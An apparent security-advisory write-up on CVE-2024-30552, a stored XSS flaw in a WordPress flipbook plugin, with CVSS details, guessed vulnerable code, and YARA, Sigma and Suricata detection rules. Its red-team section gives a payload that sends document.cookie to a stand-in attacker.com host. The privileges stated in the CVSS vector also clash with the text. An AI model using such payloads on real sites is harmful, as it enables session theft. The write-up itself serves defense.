CVE-2024-30552

Executive Summary

CVE-2024-30552 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Responsive flipbook WordPress plugin, developed by wppdf.Org. This plugin, up to and including version 1.0.0, fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts into the flipbook content. When an administrator or other user views the affected page, the script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the patch status is unknown and no official update has been released, users are advised to consider removing or replacing the plugin. The lack of a patch increases supply chain risk, as the plugin may be bundled in themes or used in managed WordPress environments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must view the malicious page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for user interaction and the limited impact, but the stored nature of the XSS makes it persistent and dangerous in multi-user environments.

Deep Dive & Mechanics

The vulnerability resides in the Responsive flipbook plugin's handling of flipbook content. The plugin likely stores user-provided data (e.g., page text, titles, or metadata) in the WordPress database without proper sanitization or output encoding. When the flipbook is rendered on the frontend, this unsanitized data is injected directly into the HTML DOM, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()). This allows an attacker to inject HTML tags such as <script> or event handlers like onload.

Attack Flow:

1. An attacker with contributor-level access creates or edits a flipbook.
2. The attacker inserts a malicious payload into a text field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When an administrator or visitor views the flipbook, the script executes in their browser.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:

// Vulnerable code (responsive-flipbook.php)
echo '<div class="flipbook-page">' . $user_input . '</div>';

A patched version would use proper escaping:

// Patched code
echo '<div class="flipbook-page">' . esc_html( $user_input ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress installation with Responsive flipbook plugin v1.0.0
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Navigate to the flipbook editor (e.g., /wp-admin/admin.php?page=responsive-flipbook).
3. In a text field (e.g., page title), inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the flipbook.
5. Send the flipbook URL to an administrator.
6. When the admin views the page, the script executes and exfiltrates their session cookie.

Alternative payload (event handler):

<img src=x onerror="alert('XSS')">

Blue Team (Detection & Defense)

Detection:

• Monitor WordPress admin logs for unusual flipbook content edits.
• Use WAF rules to block common XSS patterns in POST requests to flipbook endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Defense:

• Remove or disable the plugin until a patch is available.
• Use a WordPress security plugin (e.g., Wordfence) to add input validation.
• Educate users about the risks of clicking on untrusted links.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/responsive-flipbook/responsive-flipbook.php (version 1.0.0)
• Database entries: Posts or post meta containing <script> tags or event handlers in flipbook content.
• Network traffic: Outbound connections to attacker-controlled domains from the WordPress admin interface.
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php with flipbook-related actions.

Detection Engineering

YARA Rule

rule CVE_2024_30552_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Responsive flipbook plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-30552"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Responsive flipbook Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Responsive flipbook plugin content
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=flipbook_save'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in flipbook content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30552 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=flipbook_save"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Responsive flipbook plugin from all WordPress installations.
2. Scan for compromise – Check for unauthorized admin accounts, suspicious posts, or injected scripts.
3. Update WordPress – Ensure the core and all other plugins are up to date.

Long-term Fix:

• Since no patch is available, consider replacing the plugin with an alternative that is actively maintained.
• If you must keep the plugin, implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Apply input validation and output encoding manually by editing the plugin files (not recommended for non-developers).

Valters IT – Securing digital frontiers, one CVE at a time.